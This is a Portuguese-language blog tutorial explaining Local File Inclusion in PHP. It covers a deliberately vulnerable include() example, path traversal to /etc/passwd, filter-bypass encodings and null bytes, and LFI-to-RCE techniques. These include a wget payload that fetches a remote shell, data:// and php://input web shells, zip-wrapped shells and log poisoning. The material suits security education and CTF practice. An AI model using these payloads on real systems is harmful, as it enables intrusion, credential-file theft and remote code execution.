WTF is LFI?

Posted by lynfs on September 13, 2019

You may find interesting:


WTF is XOR?


WTF is Diffie-Hellman?

WTF IS LFI?

LFI (Local file Inclusion) ou Inclusão local de arquivos é uma vulnerabilidade presente em aplicações WEB. A vulnerabilidade consiste na exploração de um vetor de inclusão de arquivos com uma sanitização mal implementada e uma filtragem não estruturada, permitindo assim a exposição de arquivos não autorizados do lado da aplicação. Porém, antes de adentrarmos diretamente à exploração da aplicação, vejamos como funcionam as coisas por trás das cortinas.

FUNÇÃO DE INCLUSÃO

As funções de inclusão estão presentes nas linguagens de script, e estas são responsáveis por permitir ao setor de desenvolvimento a inclusão de componentes de um arquivo X em um arquivo Y para n fatores, tais como reaproveitamento de códigos e funções. Tal código incluído será interpretado pelo arquivo Y como se o mesmo estivesse inserido no local.

Vejamos com o php o comportamento da função. a função include() no PHP recebe uma string, que espera-se ser o nome do arquivo a ser incluído.

Conteúdo do arquivo x.php:

<?php
echo "Alguma coisa";
?>

conteúdo do arquivo y.php:

<?php
include('x.php');
?>

E ao abirmos o arquivo y.php, temos a saída de código do arquivo x.php:

1

requisições Web http e recebimento de parâmetros

Quando falamos de requisições em aplicações web, sejam elas formulários ou não, falamos de métodos de envio e recebimento de dados. Estes dados podem ser recebidos por dois métodos patrões, sendo eles GET e POST. Em termos resumidos, o GET é utilizado quando falamos de pequenas informações, tais como uma busca ou uma passagem de infomações entre páginas. o POST por sua vez é tido como mais seguro, pois, este realiza uma conexão paralela para o envio de dados, este também possui uma capacidade superior ao GET e, diferente de tal, não exibe os dados passados para o usuário pela Barra de Pesquisas. Em ambos os casos, falamos de uma página enviando informações para outra.

Vejamos um breve exemplo, novamente em php, de como esta passagem funciona.

Conteúdo do arquivo:

<?php
echo $_GET["param"];
?>

Nesse exemplo, pedimos para a aplicação exibir $_GET[“param”], e isto significa que pedimos a exibição do conteúdo que virá pelo método GET, específicamente pelo parametro param. Como os dados enviados via GET são passados pela Barra de Pesquisas, caso apenas executemos o arquivo, nada será exibido até que o parâmetro param nos informe algo. O mesmo exemplo serve para o POST, mudando apenas o local de passagem de parâmetros, qual deixa de ser a Barra de Pesquisas e pode ser, por exemplo, um formulário.

2

E, o corpo de uma requisição POST é algo parecido com:

POST /path/script.cgi HTTP/1.0
From: [email protected]
User-Agent: HTTPTool/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: n representando o tamanho do corpo da requisição

home=something&another=another

Adentrando na Vulnerabilidade

Agora que temos em mente como funciona a passagem de parâmetros por requisições http e também sabemos como funciona a função include, podemos visualizar com maior clareza como funciona o LFI. Esta falha ocorre quando unimos os dois conteúdos abordados acima e a função include recebe como parâmetro de inclusão um method de requisição http, tal como $_GET. Caso exista um código mal implementado, a função fará com que o atacante possa utilizar deste vetor para incluir arquivos não autorizados.

vejamos na prática o funcionamento da vulnerabilidade.

O conteúdo do arquivo:

<?php
include($_GET["param"]);
?>

Como sabemos, o código espera que passemos algo em nossa Barra de Pesquisa(URL), haja vista que utilizamos o $_GET, e este está especificado pelo parâmetro param, que por sua vez será enviado à função Include que irá se encarregar de incluir o conteúdo de tal arquivo.

3

E como podemos ver, ao enviarmos o arquivo passwd, presente em /etc/passwd, como parâmetro à nossa aplicação, esta envia para a função include que se encarrega de exibir o conteúdo de tal arquivo.

O que vemos:

=> include($_GET[“param”])

=> localhost/x.php?param=/etc/passwd

O que a aplicação recebe:

=> include(“/etc/passwd”)

Identificando vetores de ataque de Local File Inclusion

=> Identificar parâmetros de passagem de dados na aplicação é essencial, e vimos o porquê.

=> Ao encontrar tais vetores de passagem de dados, uma boa prática é o envio de um nome conhecido qualquer de um recurso executável reconhecido pelo servidor e atentar ao comportamento da aplicação mediante tal modificação

=> Submeter nomes de recursos estáticos conhecidos no servidor e verificar se o conteúdo será copiado para a página em questão.

=> Caso haja sucesso nas etapas acima, pode-se tentar acessar arquivos sensíveis ao servidor, como recursos confidenciais que não são acessáveis diretamente pela aplicação web.

=> Realizar a verificação de visualização de arquivos de outros diretórios no servidor, tal como passwd.


Entretanto, podem existir arquivos de execução no servidor que você pode não ter acesso por uma rota comum. À título de exemplo, requisições para o diretório raiz ou arquivos sensíveis ao servidor podem ser bloqueados, pois sequer a aplicação terá permissão para acessar tais arquivos. Para isso, é possível utilizar de métodos conhecidos para burlar algumas proteções.

path Traversal

Uma vulnerabilidade também conhecida é o path traversal, qual ocorre quando a aplicação utiliza de dados modificáveis pelo usuário para acessar arquivos e diretórios no servidor ou em outro ambiente back-end de maneira insegura. Ao enviar tais informações modificadas, o usuário pode não só ler como escrever e sobrescrever arquivos na aplicação.

E, esta vulnerabilidade está sendo comentada por possuir sua proximidade com o LFI, e podem estar conectadas em um mesmo ambiente.

Vejamos como este pode nos ajudar, em consonância com o Local File Inclusion, no acesso de arquivos. Tendo em vista que o sistema de ataque funciona de uma maneira semelhante ao LFI, o Path traversal espera um valor X por requisições http, e este será encarregado de ler e executar ante a aplicação.

=> localhost/app.php?arquivo=../../../../../../etc/passwd

E é através de contrabarras, barras e pontos que iremos acessar o arquivo desejado.

O Bypass

Estes são alguns métodos comuns para o bypass de filtros simples de inclusão e utilização de acesso de arquivos.

=> Utilizar da codificação URL nos caracteres especiais:

PONTO: %2e

BARRA: %2f

BARRA INVERTIDA: %5c

=> Utilizar codificação 16 bits:

PONTO: %u002e

BARRA: %u2215

BARRA INVERTIDA: %u2216

=> Utilizar codificação dupla de URL (Codificar o codificado)

PONTO:%252e

BARRA: %252f

BARRA INVETIDA: %255c

=> utilizar de bases numéricas em caracteres de alfabeto comum, pontos e barras

função: chr()

bases Numéricas:

  • Decimal
  • Hexadecimal

ex: deadlock ==> (100 101 97 100 108 111 99 107)

=> Overlong UTF-8 (UTF excessivo)

PONTO: %c0%2e, %e0%40%ae, %c0ae, e assim por diante

BARRA: %c0%af, %e0%80%af, %c0%2f, e assim por diante

BARRA INVERTIDA: %c0%5c, %c0%80%5c, e assim por diante

=> Nullbyte

Algumas aplicações implementam medidas de segurança em relação a extensão de arquivos, em outras palavras, mesmo que a aplicação seja vulnerável, nada será executado pois haverá uma filtragem de um determinado tipo de arquivo ou de um conjunto de extensões. Essa verificação, as vezes, pode ser contornada utilizando o Nullbyte Injection, consiste em utilizar %00 prévio ao uso da extensão no vetor de ataque. isso ocorre pois em alguns métodos tem permissão para conter caracteres nulos, e podemos truncar o filtro para nosso valor desejado.

ex: ../../../../../boot.ini%00.php


From lfi to RCE

=> PHP://filter

Para LFI, podemos utilizar de funções internas do php, tais como filtros, para termos acesso à arquivos bloqueados por acesso comum e diretamente explicito, como scripts que possuam sintaxes executáveis.

ex: http:localhost/app.php?param=php://filter/convert.base64-encode/resource=index.php

O retorno esperado acima é a saída da conversão do conteúdo do script solicitado para codificação de bae64, qual pode ser exibido e revertido para acesso à source.

=> /proc/self/environ

Caso consiga incluir /proc/self/environ em seu alvo vulnerável, a execução do código pode ser aproveitada manipulando o parâmetro User-Agent com uma proxy qualquer. Após a introdução do código PHP, /proc/self/environ pode ser executado através do seu payload.

user-agent-ex: <?system('wget http://algum-site/shell.txt -O shell.php');?>

=> PHP://expect

Permite ao atacante executar comandos de sistema diretamente do vetor de ataque. Por infelicidade, esta função é desabilitada por padrão.

ex: http://localhost/x.php?param=expect://ls

uma mensagem de erro será exibida caso esteja desabilitada.

=> PHP://data

Também permite ao atacante executar comandos de sistema diretamente do vetor de ataque.

ex: http://localhost/x.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

=> PHP://zip

Permite ao usuário realizar a descompressão de arquivos zipados no servidor.

  1. Crie uma shell php

  2. Comprima em um arquivo Zip

  3. Envie a shell comprimida em ZIP para o servidor alvo

  4. Extraia usando php?page=zip://path/do/arquivo.zip%23shell

=> PHP://input

Permite ao usuário enviar uma requisição POST com o conteúdo de uma shell reversa em seu corpo.

ex: /page/?page=php://input&cmd=ls

=> Envenenamento de Log

Em casos específicos, é possivel realizar execução de código remoto infectando um arquivo de log específico, seja ele um serviço de e-mail ou o log do próprio servidor. O processo consiste em enviar o payload como corpo de uma requisição e em seguida usar deste log para obter a execução do código, haja vista que após a requisição, o código estará no corpo do arquivo de log.

**EX: **

  1. Encontramos o vetor de ataque, como um serviço de email.

  2. enviamos nosso payload via corpo, ex. SMTP ==> <?php echo system($_GET["shell"]);?>

  3. acessamos a página de log ( /var/log/ALGUMLOG)

  4. utilizamos de tal log para execução da shell. ex: ../../../../../var/log/mail&shell=ls

Considerações Finais

Com isto, pudemos ver a importância de uma boa filtragem para entrada e saída de dados, a necessidade de uma boa manipulação de funções e que o php tem wrapper pra todas as necessidades do mundo.

Os métodos citados acima não são os únicos, tampouco são 100% funcionais, todavia, tendo em vista o funcionamento dos vetores de ataque, o céu é o limite para a mesclagem de técnicas e possibilidades. Não obstante, espero que, de alguma maneira, esta postagem lhe seja útil na vida, ou em algum ctf mundo afora. No demais, Lets pwn the world!

Referências

The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, Second Edition(2011)

PHP wrappers manual documentation